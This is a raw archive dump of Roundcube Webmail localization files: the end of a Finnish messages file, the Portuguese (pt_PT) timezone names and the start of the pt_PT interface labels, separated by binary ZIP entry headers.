$messages['errcontactserveradmin'] = 'Ota yhteys palvelimen ylläpitäjään.';
$messages['clicktoresumesession'] = 'Napsauta tästä palauttaaksesi edellisen istuntosi';
$messages['errcomposesession'] = 'Kirjoitusistunnon virhe';
$messages['errcomposesessionexplain'] = 'Pyydettyä kirjoitusistuntoa ei löytynyt.';
$messages['clicktocompose'] = 'Napsauta tästä kirjoittaaksesi uuden viestin';
$messages['nosupporterror'] = 'Selaimesi ei tue tätä ominaisuutta.';
$messages['siginserted'] = 'Allekirjoitus lisätty onnistuneesti.';
$messages['responseinserted'] = 'Vastaus lisätty onnistuneesti.';
$messages['noresponsesavailable'] = 'Vastauksia ei ole saatavilla';
$messages['listempty'] = 'Lista on tyhjä.';
$messages['listusebutton'] = 'Lisää uusi tietue Luo uusi -painikkeella.';
$messages['keypaircreatesuccess'] = 'Luotiin uusi pari onnistuneesti identiteetille $identity.';
$messages['emptyattachment'] = 'Liitetiedosto on tyhjä.<br>Tarkista asia lähettäjältä.';
$messages['oauthloginfailed'] = 'OAuth-kirjautuminen epäonnistui. Yritä myöhemmin uudelleen.';
PK
h�\>Lй�N�N(program/localization/pt_PT/timezones.incnu�[���<?php

/*
 +-----------------------------------------------------------------------+
 | Localization file of the Roundcube Webmail client                     |
 |                                                                       |
 | Copyright (C) The Roundcube Dev Team                                  |
 |                                                                       |
 | Licensed under the GNU General Public License version 3 or            |
 | any later version with exceptions for skins & plugins.                |
 | See the README file for a full license statement.                     |
 +-----------------------------------------------------------------------+

 For translation see https://www.transifex.com/projects/p/roundcube-webmail/resource/timezones/
*/

$labels['tz:utc'] = 'UTC';
$labels['tz:africa'] = 'Africa';
$labels['tz:africa:abidjan'] = 'Abidjan';
$labels['tz:africa:accra'] = 'Accra';
$labels['tz:africa:addis_ababa'] = 'Addis Ababa';
$labels['tz:africa:algiers'] = 'Algiers';
$labels['tz:africa:asmara'] = 'Asmara';
$labels['tz:africa:bamako'] = 'Bamako';
$labels['tz:africa:bangui'] = 'Bangui';
$labels['tz:africa:banjul'] = 'Banjul';
$labels['tz:africa:bissau'] = 'Bissau';
$labels['tz:africa:blantyre'] = 'Blantyre';
$labels['tz:africa:brazzaville'] = 'Brazzaville';
$labels['tz:africa:bujumbura'] = 'Bujumbura';
$labels['tz:africa:cairo'] = 'Cairo';
$labels['tz:africa:casablanca'] = 'Casablanca';
$labels['tz:africa:ceuta'] = 'Ceuta';
$labels['tz:africa:conakry'] = 'Conakry';
$labels['tz:africa:dakar'] = 'Dakar';
$labels['tz:africa:dar_es_salaam'] = 'Dar es Salaam';
$labels['tz:africa:djibouti'] = 'Djibouti';
$labels['tz:africa:douala'] = 'Douala';
$labels['tz:africa:el_aaiun'] = 'El Aaiun';
$labels['tz:africa:freetown'] = 'Freetown';
$labels['tz:africa:gaborone'] = 'Gaborone';
$labels['tz:africa:harare'] = 'Harare';
$labels['tz:africa:johannesburg'] = 'Johannesburg';
$labels['tz:africa:juba'] = 'Juba';
$labels['tz:africa:kampala'] = 'Kampala';
$labels['tz:africa:khartoum'] = 'Khartoum';
$labels['tz:africa:kigali'] = 'Kigali';
$labels['tz:africa:kinshasa'] = 'Kinshasa';
$labels['tz:africa:lagos'] = 'Lagos';
$labels['tz:africa:libreville'] = 'Libreville';
$labels['tz:africa:lome'] = 'Lomé';
$labels['tz:africa:luanda'] = 'Luanda';
$labels['tz:africa:lubumbashi'] = 'Lubumbashi';
$labels['tz:africa:lusaka'] = 'Lusaka';
$labels['tz:africa:malabo'] = 'Malabo';
$labels['tz:africa:maputo'] = 'Maputo';
$labels['tz:africa:maseru'] = 'Maseru';
$labels['tz:africa:mbabane'] = 'Mbabane';
$labels['tz:africa:mogadishu'] = 'Mogadishu';
$labels['tz:africa:monrovia'] = 'Monrovia';
$labels['tz:africa:nairobi'] = 'Nairobi';
$labels['tz:africa:ndjamena'] = 'Ndjamena';
$labels['tz:africa:niamey'] = 'Niamey';
$labels['tz:africa:nouakchott'] = 'Nouakchott';
$labels['tz:africa:ouagadougou'] = 'Ouagadougou';
$labels['tz:africa:porto-novo'] = 'Porto-Novo';
$labels['tz:africa:sao_tome'] = 'São Tomé';
$labels['tz:africa:tripoli'] = 'Tripoli';
$labels['tz:africa:tunis'] = 'Tunis';
$labels['tz:africa:windhoek'] = 'Windhoek';
$labels['tz:america'] = 'America';
$labels['tz:america:adak'] = 'Adak';
$labels['tz:america:anchorage'] = 'Anchorage';
$labels['tz:america:anguilla'] = 'Anguilla';
$labels['tz:america:antigua'] = 'Antigua';
$labels['tz:america:araguaina'] = 'Araguaina';
$labels['tz:america:argentina'] = 'Argentina';
$labels['tz:america:argentina:buenos_aires'] = 'Buenos Aires';
$labels['tz:america:argentina:catamarca'] = 'Catamarca';
$labels['tz:america:argentina:cordoba'] = 'Cordoba';
$labels['tz:america:argentina:jujuy'] = 'Jujuy';
$labels['tz:america:argentina:la_rioja'] = 'La Rioja';
$labels['tz:america:argentina:mendoza'] = 'Mendoza';
$labels['tz:america:argentina:rio_gallegos'] = 'Rio Gallegos';
$labels['tz:america:argentina:salta'] = 'Salta';
$labels['tz:america:argentina:san_juan'] = 'San Juan';
$labels['tz:america:argentina:san_luis'] = 'San Luis';
$labels['tz:america:argentina:tucuman'] = 'Tucuman';
$labels['tz:america:argentina:ushuaia'] = 'Ushuaia';
$labels['tz:america:aruba'] = 'Aruba';
$labels['tz:america:asuncion'] = 'Asunción';
$labels['tz:america:atikokan'] = 'Atikokan';
$labels['tz:america:bahia'] = 'Bahia';
$labels['tz:america:bahia_banderas'] = 'Bahia Banderas';
$labels['tz:america:barbados'] = 'Barbados';
$labels['tz:america:belem'] = 'Belem';
$labels['tz:america:belize'] = 'Belize';
$labels['tz:america:blanc-sablon'] = 'Blanc-Sablon';
$labels['tz:america:boa_vista'] = 'Boa Vista';
$labels['tz:america:bogota'] = 'Bogota';
$labels['tz:america:boise'] = 'Boise';
$labels['tz:america:cambridge_bay'] = 'Cambridge Bay';
$labels['tz:america:campo_grande'] = 'Campo Grande';
$labels['tz:america:cancun'] = 'Cancun';
$labels['tz:america:caracas'] = 'Caracas';
$labels['tz:america:cayenne'] = 'Cayenne';
$labels['tz:america:cayman'] = 'Cayman';
$labels['tz:america:chicago'] = 'Chicago';
$labels['tz:america:chihuahua'] = 'Chihuahua';
$labels['tz:america:costa_rica'] = 'Costa Rica';
$labels['tz:america:creston'] = 'Creston';
$labels['tz:america:cuiaba'] = 'Cuiaba';
$labels['tz:america:curacao'] = 'Curaçao';
$labels['tz:america:danmarkshavn'] = 'Danmarkshavn';
$labels['tz:america:dawson'] = 'Dawson';
$labels['tz:america:dawson_creek'] = 'Dawson Creek';
$labels['tz:america:denver'] = 'Denver';
$labels['tz:america:detroit'] = 'Detroit';
$labels['tz:america:dominica'] = 'Dominica';
$labels['tz:america:edmonton'] = 'Edmonton';
$labels['tz:america:eirunepe'] = 'Eirunepe';
$labels['tz:america:el_salvador'] = 'El Salvador';
$labels['tz:america:fort_nelson'] = 'Fort Nelson';
$labels['tz:america:fortaleza'] = 'Fortaleza';
$labels['tz:america:glace_bay'] = 'Glace Bay';
$labels['tz:america:godthab'] = 'Godthab';
$labels['tz:america:goose_bay'] = 'Goose Bay';
$labels['tz:america:grand_turk'] = 'Grand Turk';
$labels['tz:america:grenada'] = 'Grenada';
$labels['tz:america:guadeloupe'] = 'Guadeloupe';
$labels['tz:america:guatemala'] = 'Guatemala';
$labels['tz:america:guayaquil'] = 'Guayaquil';
$labels['tz:america:guyana'] = 'Guyana';
$labels['tz:america:halifax'] = 'Halifax';
$labels['tz:america:havana'] = 'Havana';
$labels['tz:america:hermosillo'] = 'Hermosillo';
$labels['tz:america:indiana'] = 'Indiana';
$labels['tz:america:indiana:indianapolis'] = 'Indianapolis';
$labels['tz:america:indiana:knox'] = 'Knox';
$labels['tz:america:indiana:marengo'] = 'Marengo';
$labels['tz:america:indiana:petersburg'] = 'Petersburg';
$labels['tz:america:indiana:tell_city'] = 'Tell City';
$labels['tz:america:indiana:vevay'] = 'Vevay';
$labels['tz:america:indiana:vincennes'] = 'Vincennes';
$labels['tz:america:indiana:winamac'] = 'Winamac';
$labels['tz:america:inuvik'] = 'Inuvik';
$labels['tz:america:iqaluit'] = 'Iqaluit';
$labels['tz:america:jamaica'] = 'Jamaica';
$labels['tz:america:juneau'] = 'Juneau';
$labels['tz:america:kentucky'] = 'Kentucky';
$labels['tz:america:kentucky:louisville'] = 'Louisville';
$labels['tz:america:kentucky:monticello'] = 'Monticello';
$labels['tz:america:kralendijk'] = 'Kralendijk';
$labels['tz:america:la_paz'] = 'La Paz';
$labels['tz:america:lima'] = 'Lima';
$labels['tz:america:los_angeles'] = 'Los Angeles';
$labels['tz:america:lower_princes'] = 'Lower Princes';
$labels['tz:america:maceio'] = 'Maceio';
$labels['tz:america:managua'] = 'Managua';
$labels['tz:america:manaus'] = 'Manaus';
$labels['tz:america:marigot'] = 'Marigot';
$labels['tz:america:martinique'] = 'Martinique';
$labels['tz:america:matamoros'] = 'Matamoros';
$labels['tz:america:mazatlan'] = 'Mazatlan';
$labels['tz:america:menominee'] = 'Menominee';
$labels['tz:america:merida'] = 'Merida';
$labels['tz:america:metlakatla'] = 'Metlakatla';
$labels['tz:america:mexico_city'] = 'Mexico City';
$labels['tz:america:miquelon'] = 'Miquelon';
$labels['tz:america:moncton'] = 'Moncton';
$labels['tz:america:monterrey'] = 'Monterrey';
$labels['tz:america:montevideo'] = 'Montevideo';
$labels['tz:america:montserrat'] = 'Montserrat';
$labels['tz:america:nassau'] = 'Nassau';
$labels['tz:america:new_york'] = 'New York';
$labels['tz:america:nipigon'] = 'Nipigon';
$labels['tz:america:nome'] = 'Nome';
$labels['tz:america:noronha'] = 'Noronha';
$labels['tz:america:north_dakota'] = 'North Dakota';
$labels['tz:america:north_dakota:beulah'] = 'Beulah';
$labels['tz:america:north_dakota:center'] = 'Center';
$labels['tz:america:north_dakota:new_salem'] = 'New Salem';
$labels['tz:america:ojinaga'] = 'Ojinaga';
$labels['tz:america:panama'] = 'Panama';
$labels['tz:america:pangnirtung'] = 'Pangnirtung';
$labels['tz:america:paramaribo'] = 'Paramaribo';
$labels['tz:america:phoenix'] = 'Phoenix';
$labels['tz:america:port-au-prince'] = 'Port-au-Prince';
$labels['tz:america:port_of_spain'] = 'Port of Spain';
$labels['tz:america:porto_velho'] = 'Porto Velho';
$labels['tz:america:puerto_rico'] = 'Puerto Rico';
$labels['tz:america:rainy_river'] = 'Rainy River';
$labels['tz:america:rankin_inlet'] = 'Rankin Inlet';
$labels['tz:america:recife'] = 'Recife';
$labels['tz:america:regina'] = 'Regina';
$labels['tz:america:resolute'] = 'Resolute';
$labels['tz:america:rio_branco'] = 'Rio Branco';
$labels['tz:america:santarem'] = 'Santarem';
$labels['tz:america:santiago'] = 'Santiago';
$labels['tz:america:santo_domingo'] = 'Santo Domingo';
$labels['tz:america:sao_paulo'] = 'Sao Paulo';
$labels['tz:america:scoresbysund'] = 'Scoresbysund';
$labels['tz:america:sitka'] = 'Sitka';
$labels['tz:america:st_barthelemy'] = 'Saint Barthélemy';
$labels['tz:america:st_johns'] = "Saint John's";
$labels['tz:america:st_kitts'] = 'Saint Kitts';
$labels['tz:america:st_lucia'] = 'Saint Lucia';
$labels['tz:america:st_thomas'] = 'Saint Thomas';
$labels['tz:america:st_vincent'] = 'Saint Vincent';
$labels['tz:america:swift_current'] = 'Swift Current';
$labels['tz:america:tegucigalpa'] = 'Tegucigalpa';
$labels['tz:america:thule'] = 'Thule';
$labels['tz:america:thunder_bay'] = 'Thunder Bay';
$labels['tz:america:tijuana'] = 'Tijuana';
$labels['tz:america:toronto'] = 'Toronto';
$labels['tz:america:tortola'] = 'Tortola';
$labels['tz:america:vancouver'] = 'Vancouver';
$labels['tz:america:whitehorse'] = 'Whitehorse';
$labels['tz:america:winnipeg'] = 'Winnipeg';
$labels['tz:america:yakutat'] = 'Yakutat';
$labels['tz:america:yellowknife'] = 'Yellowknife';
$labels['tz:antarctica'] = 'Antarctica';
$labels['tz:antarctica:casey'] = 'Casey';
$labels['tz:antarctica:davis'] = 'Davis';
$labels['tz:antarctica:dumontdurville'] = "Dumont d'Urville";
$labels['tz:antarctica:macquarie'] = 'Macquarie';
$labels['tz:antarctica:mawson'] = 'Mawson';
$labels['tz:antarctica:mcmurdo'] = 'McMurdo';
$labels['tz:antarctica:palmer'] = 'Palmer';
$labels['tz:antarctica:rothera'] = 'Rothera';
$labels['tz:antarctica:syowa'] = 'Syowa';
$labels['tz:antarctica:troll'] = 'Troll';
$labels['tz:antarctica:vostok'] = 'Vostok';
$labels['tz:arctic'] = 'Arctic';
$labels['tz:arctic:longyearbyen'] = 'Longyearbyen';
$labels['tz:asia'] = 'Asia';
$labels['tz:asia:aden'] = 'Aden';
$labels['tz:asia:almaty'] = 'Almaty';
$labels['tz:asia:amman'] = 'Amman';
$labels['tz:asia:anadyr'] = 'Anadyr';
$labels['tz:asia:aqtau'] = 'Aqtau';
$labels['tz:asia:aqtobe'] = 'Aqtobe';
$labels['tz:asia:ashgabat'] = 'Ashgabat';
$labels['tz:asia:atyrau'] = 'Atyrau';
$labels['tz:asia:baghdad'] = 'Baghdad';
$labels['tz:asia:bahrain'] = 'Bahrain';
$labels['tz:asia:baku'] = 'Baku';
$labels['tz:asia:bangkok'] = 'Bangkok';
$labels['tz:asia:barnaul'] = 'Barnaul';
$labels['tz:asia:beirut'] = 'Beirut';
$labels['tz:asia:bishkek'] = 'Bishkek';
$labels['tz:asia:brunei'] = 'Brunei';
$labels['tz:asia:chita'] = 'Chita';
$labels['tz:asia:choibalsan'] = 'Choibalsan';
$labels['tz:asia:colombo'] = 'Colombo';
$labels['tz:asia:damascus'] = 'Damascus';
$labels['tz:asia:dhaka'] = 'Dhaka';
$labels['tz:asia:dili'] = 'Dili';
$labels['tz:asia:dubai'] = 'Dubai';
$labels['tz:asia:dushanbe'] = 'Dushanbe';
$labels['tz:asia:famagusta'] = 'Famagusta';
$labels['tz:asia:gaza'] = 'Gaza';
$labels['tz:asia:hebron'] = 'Hebron';
$labels['tz:asia:ho_chi_minh'] = 'Ho Chi Minh';
$labels['tz:asia:hong_kong'] = 'Hong Kong';
$labels['tz:asia:hovd'] = 'Hovd';
$labels['tz:asia:irkutsk'] = 'Irkutsk';
$labels['tz:asia:jakarta'] = 'Jakarta';
$labels['tz:asia:jayapura'] = 'Jayapura';
$labels['tz:asia:jerusalem'] = 'Jerusalem';
$labels['tz:asia:kabul'] = 'Kabul';
$labels['tz:asia:kamchatka'] = 'Kamchatka';
$labels['tz:asia:karachi'] = 'Karachi';
$labels['tz:asia:kathmandu'] = 'Kathmandu';
$labels['tz:asia:khandyga'] = 'Khandyga';
$labels['tz:asia:kolkata'] = 'Kolkata';
$labels['tz:asia:krasnoyarsk'] = 'Krasnoyarsk';
$labels['tz:asia:kuala_lumpur'] = 'Kuala Lumpur';
$labels['tz:asia:kuching'] = 'Kuching';
$labels['tz:asia:kuwait'] = 'Kuwait';
$labels['tz:asia:macau'] = 'Macau';
$labels['tz:asia:magadan'] = 'Magadan';
$labels['tz:asia:makassar'] = 'Makassar';
$labels['tz:asia:manila'] = 'Manila';
$labels['tz:asia:muscat'] = 'Muscat';
$labels['tz:asia:nicosia'] = 'Nicosia';
$labels['tz:asia:novokuznetsk'] = 'Novokuznetsk';
$labels['tz:asia:novosibirsk'] = 'Novosibirsk';
$labels['tz:asia:omsk'] = 'Omsk';
$labels['tz:asia:oral'] = 'Oral';
$labels['tz:asia:phnom_penh'] = 'Phnom Penh';
$labels['tz:asia:pontianak'] = 'Pontianak';
$labels['tz:asia:pyongyang'] = 'Pyongyang';
$labels['tz:asia:qatar'] = 'Qatar';
$labels['tz:asia:qyzylorda'] = 'Qyzylorda';
$labels['tz:asia:riyadh'] = 'Riyadh';
$labels['tz:asia:sakhalin'] = 'Sakhalin';
$labels['tz:asia:samarkand'] = 'Samarkand';
$labels['tz:asia:seoul'] = 'Seoul';
$labels['tz:asia:shanghai'] = 'Shanghai';
$labels['tz:asia:singapore'] = 'Singapore';
$labels['tz:asia:srednekolymsk'] = 'Srednekolymsk';
$labels['tz:asia:taipei'] = 'Taipei';
$labels['tz:asia:tashkent'] = 'Tashkent';
$labels['tz:asia:tbilisi'] = 'Tbilisi';
$labels['tz:asia:tehran'] = 'Tehran';
$labels['tz:asia:thimphu'] = 'Thimphu';
$labels['tz:asia:tokyo'] = 'Tokyo';
$labels['tz:asia:tomsk'] = 'Tomsk';
$labels['tz:asia:ulaanbaatar'] = 'Ulaanbaatar';
$labels['tz:asia:urumqi'] = 'Urumqi';
$labels['tz:asia:ust-nera'] = 'Ust-Nera';
$labels['tz:asia:vientiane'] = 'Vientiane';
$labels['tz:asia:vladivostok'] = 'Vladivostok';
$labels['tz:asia:yakutsk'] = 'Yakutsk';
$labels['tz:asia:yangon'] = 'Yangon';
$labels['tz:asia:yekaterinburg'] = 'Yekaterinburg';
$labels['tz:asia:yerevan'] = 'Yerevan';
$labels['tz:atlantic'] = 'Atlantic';
$labels['tz:atlantic:azores'] = 'Azores';
$labels['tz:atlantic:bermuda'] = 'Bermuda';
$labels['tz:atlantic:canary'] = 'Canary';
$labels['tz:atlantic:cape_verde'] = 'Cape Verde';
$labels['tz:atlantic:faroe'] = 'Faroe';
$labels['tz:atlantic:madeira'] = 'Madeira';
$labels['tz:atlantic:reykjavik'] = 'Reykjavik';
$labels['tz:atlantic:south_georgia'] = 'South Georgia';
$labels['tz:atlantic:st_helena'] = 'St Helena';
$labels['tz:atlantic:stanley'] = 'Stanley';
$labels['tz:australia'] = 'Australia';
$labels['tz:australia:adelaide'] = 'Adelaide';
$labels['tz:australia:brisbane'] = 'Brisbane';
$labels['tz:australia:broken_hill'] = 'Broken Hill';
$labels['tz:australia:currie'] = 'Currie';
$labels['tz:australia:darwin'] = 'Darwin';
$labels['tz:australia:eucla'] = 'Eucla';
$labels['tz:australia:hobart'] = 'Hobart';
$labels['tz:australia:lindeman'] = 'Lindeman';
$labels['tz:australia:lord_howe'] = 'Lord Howe';
$labels['tz:australia:melbourne'] = 'Melbourne';
$labels['tz:australia:perth'] = 'Perth';
$labels['tz:australia:sydney'] = 'Sydney';
$labels['tz:europe'] = 'Europe';
$labels['tz:europe:amsterdam'] = 'Amsterdam';
$labels['tz:europe:andorra'] = 'Andorra';
$labels['tz:europe:astrakhan'] = 'Astrakhan';
$labels['tz:europe:athens'] = 'Athens';
$labels['tz:europe:belgrade'] = 'Belgrade';
$labels['tz:europe:berlin'] = 'Berlin';
$labels['tz:europe:bratislava'] = 'Bratislava';
$labels['tz:europe:brussels'] = 'Brussels';
$labels['tz:europe:bucharest'] = 'Bucharest';
$labels['tz:europe:budapest'] = 'Budapest';
$labels['tz:europe:busingen'] = 'Busingen';
$labels['tz:europe:chisinau'] = 'Chisinau';
$labels['tz:europe:copenhagen'] = 'Copenhagen';
$labels['tz:europe:dublin'] = 'Dublin';
$labels['tz:europe:gibraltar'] = 'Gibraltar';
$labels['tz:europe:guernsey'] = 'Guernsey';
$labels['tz:europe:helsinki'] = 'Helsinki';
$labels['tz:europe:isle_of_man'] = 'Isle of Man';
$labels['tz:europe:istanbul'] = 'Istanbul';
$labels['tz:europe:jersey'] = 'Jersey';
$labels['tz:europe:kaliningrad'] = 'Kaliningrad';
$labels['tz:europe:kiev'] = 'Kiev';
$labels['tz:europe:kirov'] = 'Kirov';
$labels['tz:europe:lisbon'] = 'Lisboa';
$labels['tz:europe:ljubljana'] = 'Ljubljana';
$labels['tz:europe:london'] = 'London';
$labels['tz:europe:luxembourg'] = 'Luxembourg';
$labels['tz:europe:madrid'] = 'Madrid';
$labels['tz:europe:malta'] = 'Malta';
$labels['tz:europe:mariehamn'] = 'Mariehamn';
$labels['tz:europe:minsk'] = 'Minsk';
$labels['tz:europe:monaco'] = 'Monaco';
$labels['tz:europe:moscow'] = 'Moscow';
$labels['tz:europe:oslo'] = 'Oslo';
$labels['tz:europe:paris'] = 'Paris';
$labels['tz:europe:podgorica'] = 'Podgorica';
$labels['tz:europe:prague'] = 'Prague';
$labels['tz:europe:riga'] = 'Riga';
$labels['tz:europe:rome'] = 'Rome';
$labels['tz:europe:samara'] = 'Samara';
$labels['tz:europe:san_marino'] = 'San Marino';
$labels['tz:europe:sarajevo'] = 'Sarajevo';
$labels['tz:europe:saratov'] = 'Saratov';
$labels['tz:europe:simferopol'] = 'Simferopol';
$labels['tz:europe:skopje'] = 'Skopje';
$labels['tz:europe:sofia'] = 'Sofia';
$labels['tz:europe:stockholm'] = 'Stockholm';
$labels['tz:europe:tallinn'] = 'Tallinn';
$labels['tz:europe:tirane'] = 'Tirane';
$labels['tz:europe:ulyanovsk'] = 'Ulyanovsk';
$labels['tz:europe:uzhgorod'] = 'Uzhgorod';
$labels['tz:europe:vaduz'] = 'Vaduz';
$labels['tz:europe:vatican'] = 'Vatican';
$labels['tz:europe:vienna'] = 'Vienna';
$labels['tz:europe:vilnius'] = 'Vilnius';
$labels['tz:europe:volgograd'] = 'Volgograd';
$labels['tz:europe:warsaw'] = 'Warsaw';
$labels['tz:europe:zagreb'] = 'Zagreb';
$labels['tz:europe:zaporozhye'] = 'Zaporozhye';
$labels['tz:europe:zurich'] = 'Zurich';
$labels['tz:indian'] = 'Indian';
$labels['tz:indian:antananarivo'] = 'Antananarivo';
$labels['tz:indian:chagos'] = 'Chagos';
$labels['tz:indian:christmas'] = 'Christmas';
$labels['tz:indian:cocos'] = 'Cocos';
$labels['tz:indian:comoro'] = 'Comoro';
$labels['tz:indian:kerguelen'] = 'Kerguelen';
$labels['tz:indian:mahe'] = 'Mahe';
$labels['tz:indian:maldives'] = 'Maldives';
$labels['tz:indian:mauritius'] = 'Mauritius';
$labels['tz:indian:mayotte'] = 'Mayotte';
$labels['tz:indian:reunion'] = 'Reunion';
$labels['tz:pacific'] = 'Pacific';
$labels['tz:pacific:apia'] = 'Apia';
$labels['tz:pacific:auckland'] = 'Auckland';
$labels['tz:pacific:bougainville'] = 'Bougainville';
$labels['tz:pacific:chatham'] = 'Chatham';
$labels['tz:pacific:chuuk'] = 'Chuuk';
$labels['tz:pacific:easter'] = 'Easter';
$labels['tz:pacific:efate'] = 'Efate';
$labels['tz:pacific:enderbury'] = 'Enderbury';
$labels['tz:pacific:fakaofo'] = 'Fakaofo';
$labels['tz:pacific:fiji'] = 'Fiji';
$labels['tz:pacific:funafuti'] = 'Funafuti';
$labels['tz:pacific:galapagos'] = 'Galapagos';
$labels['tz:pacific:gambier'] = 'Gambier';
$labels['tz:pacific:guadalcanal'] = 'Guadalcanal';
$labels['tz:pacific:guam'] = 'Guam';
$labels['tz:pacific:honolulu'] = 'Honolulu';
$labels['tz:pacific:johnston'] = 'Johnston';
$labels['tz:pacific:kiritimati'] = 'Kiritimati';
$labels['tz:pacific:kosrae'] = 'Kosrae';
$labels['tz:pacific:kwajalein'] = 'Kwajalein';
$labels['tz:pacific:majuro'] = 'Majuro';
$labels['tz:pacific:marquesas'] = 'Marquesas';
$labels['tz:pacific:midway'] = 'Midway';
$labels['tz:pacific:nauru'] = 'Nauru';
$labels['tz:pacific:niue'] = 'Niue';
$labels['tz:pacific:norfolk'] = 'Norfolk';
$labels['tz:pacific:noumea'] = 'Noumea';
$labels['tz:pacific:pago_pago'] = 'Pago Pago';
$labels['tz:pacific:palau'] = 'Palau';
$labels['tz:pacific:pitcairn'] = 'Pitcairn';
$labels['tz:pacific:pohnpei'] = 'Pohnpei';
$labels['tz:pacific:port_moresby'] = 'Port Moresby';
$labels['tz:pacific:rarotonga'] = 'Rarotonga';
$labels['tz:pacific:saipan'] = 'Saipan';
$labels['tz:pacific:tahiti'] = 'Tahiti';
$labels['tz:pacific:tarawa'] = 'Tarawa';
$labels['tz:pacific:tongatapu'] = 'Tongatapu';
$labels['tz:pacific:wake'] = 'Wake';
$labels['tz:pacific:wallis'] = 'Wallis';
PK
h�\�X�-�-�%program/localization/pt_PT/labels.incnu�[���<?php

/*
 +-----------------------------------------------------------------------+
 | Localization file of the Roundcube Webmail client                     |
 |                                                                       |
 | Copyright (C) The Roundcube Dev Team                                  |
 |                                                                       |
 | Licensed under the GNU General Public License version 3 or            |
 | any later version with exceptions for skins & plugins.                |
 | See the README file for a full license statement.                     |
 +-----------------------------------------------------------------------+

 For translation see https://www.transifex.com/projects/p/roundcube-webmail/resource/labels/
*/


$labels['welcome'] = 'Bem-vindo ao $product';
$labels['username'] = 'Utilizador';
$labels['password'] = 'Senha';
$labels['server'] = 'Servidor';
$labels['login'] = 'Entrar';
$labels['oauthlogin'] = 'Iniciar sessão com $provider';
$labels['menu'] = 'Menu';
$labels['logout'] = 'Sair';
$labels['mail'] = 'Mensagens';
$labels['settings'] = 'Definições';
$labels['addressbook'] = 'Contactos';
$labels['darkmode'] = 'Modo escuro';
$labels['lightmode'] = 'Modo claro';
$labels['inbox'] = 'A receber';
$labels['drafts'] = 'Rascunhos';
$labels['sent'] = 'Enviados';
$labels['trash'] = 'Reciclagem';
$labels['junk'] = 'Spam';
$labels['show_real_foldernames'] = 'Mostrar nomes reais para as pastas especiais';
$labels['subject'] = 'Assunto';
$labels['from'] = 'De';
$labels['sender'] = 'Remetente';
$labels['to'] = 'Para';
$labels['cc'] = 'Cc';
$labels['bcc'] = 'Bcc';
$labels['replyto'] = 'Responder a';
$labels['followupto'] = 'No seguimento de';
$labels['date'] = 'Data';
$labels['size'] = 'Tamanho';
$labels['priority'] = 'Prioridade';
$labels['organization'] = 'Entidade';
$labels['readstatus'] = 'Estado de leitura';
$labels['listoptions'] = 'Lista de opções...';
$labels['listoptionstitle'] = 'Opções de lista';
$labels['mailboxlist'] = 'Pastas';
$labels['messagesfromto'] = 'Mensagens de $from a $to de $count';
$labels['threadsfromto'] = 'Tópicos de $from a $to de $count';
$labels['messagenrof'] = 'Mensagem $nr de $count';
$labels['fromtoshort'] = '$from – $to de $count';
$labels['copy'] = 'Copiar';
$labels['move'] = 'Mover';
$labels['moveto'] = 'Mover para...';
$labels['copyto'] = 'Copiar para...';
$labels['download'] = 'Descarregar';
$labels['open'] = 'Abrir';
$labels['showattachment'] = 'Mostrar';
$labels['showanyway'] = 'Mostrar na mesma';
$labels['filename'] = 'Nome do ficheiro';
$labels['filesize'] = 'Tamanho do ficheiro';
$labels['addtoaddressbook'] = 'Adicionar à lista de contactos';
$labels['sun'] = 'Dom';
$labels['mon'] = 'Seg';
$labels['tue'] = 'Ter';
$labels['wed'] = 'Qua';
$labels['thu'] = 'Qui';
$labels['fri'] = 'Sex';
$labels['sat'] = 'Sáb';
$labels['sunday'] = 'Domingo';
$labels['monday'] = 'Segunda-feira';
$labels['tuesday'] = 'Terça-feira';
$labels['wednesday'] = 'Quarta-feira';
$labels['thursday'] = 'Quinta-feira';
$labels['friday'] = 'Sexta-feira';
$labels['saturday'] = 'Sábado';
$labels['jan'] = 'Jan';
$labels['feb'] = 'Fev';
$labels['mar'] = 'Mar';
$labels['apr'] = 'Abr';
$labels['may'] = 'Maio';
$labels['jun'] = 'Jun';
$labels['jul'] = 'Jul';
$labels['aug'] = 'Ago';
$labels['sep'] = 'Set';
$labels['oct'] = 'Out';
$labels['nov'] = 'Nov';
$labels['dec'] = 'Dez';
$labels['longjan'] = 'Janeiro';
$labels['longfeb'] = 'Fevereiro';
$labels['longmar'] = 'Março';
$labels['longapr'] = 'Abril';
$labels['longmay'] = 'Maio';
$labels['longjun'] = 'Junho';
$labels['longjul'] = 'Julho';
$labels['longaug'] = 'Agosto';
$labels['longsep'] = 'Setembro';
$labels['longoct'] = 'Outubro';
$labels['longnov'] = 'Novembro';
$labels['longdec'] = 'Dezembro';
$labels['today'] = 'Hoje';
$labels['refresh'] = 'Atualizar';
$labels['checkmail'] = 'Verificar por novas mensagens';
$labels['compose'] = 'Nova mensagem';
$labels['writenewmessage'] = 'Criar mensagem';
$labels['reply'] = 'Responder';
$labels['replytomessage'] = 'Responder';
$labels['replytoallmessage'] = 'Responder a lista ou ao remetente e todos os destinatários';
$labels['replyall'] = 'Responder a todos';
$labels['replylist'] = 'Responder à lista';
$labels['forward'] = 'Reencaminhar';
$labels['forwardinline'] = 'Reencaminhar no texto';
$labels['forwardattachment'] = 'Reencaminhar como anexo';
$labels['forwardmessage'] = 'Reencaminhar';
$labels['bouncemsg'] = 'Reenviar (devolver)';
$labels['bounce'] = 'Reenviar';
$labels['deletemessage'] = 'Eliminar';
$labels['movemessagetotrash'] = 'Mover para reciclagem';
$labels['printmessage'] = 'Imprimir';
$labels['previousmessage'] = 'Mensagem anterior';
$labels['firstmessage'] = 'Primeira mensagem';
$labels['nextmessage'] = 'Próxima mensagem';
$labels['lastmessage'] = 'Última mensagem';
$labels['backtolist'] = 'Voltar';
$labels['viewsource'] = 'Mostrar código fonte';
$labels['mark'] = 'Marcar';
$labels['markmessages'] = 'Marcar mensagens';
$labels['markread'] = 'Como lida(s)';
$labels['markunread'] = 'Como não lida(s)';
$labels['markflagged'] = 'Com sinalização';
$labels['markunflagged'] = 'Como sem sinalização';
$labels['markundeleted'] = 'Como não eliminado';
$labels['moreactions'] = 'Mais ações...';
$labels['markallread'] = 'Marcar todas como Lidas';
$labels['folders-cur'] = 'Apenas pasta selecionada';
$labels['folders-sub'] = 'Pasta selecionada e respetivas subpastas';
$labels['folders-all'] = 'Todas as pastas';
$labels['more'] = 'Mais';
$labels['back'] = 'Voltar';
$labels['options'] = 'Opções';
$labels['composeoptions'] = 'Opções de composição';
$labels['optionsandattachments'] = 'Opções e anexos';
$labels['actions'] = 'Ações';
$labels['first'] = 'Primeiro';
$labels['last'] = 'Último';
$labels['previous'] = 'Anterior';
$labels['next'] = 'Seguinte';
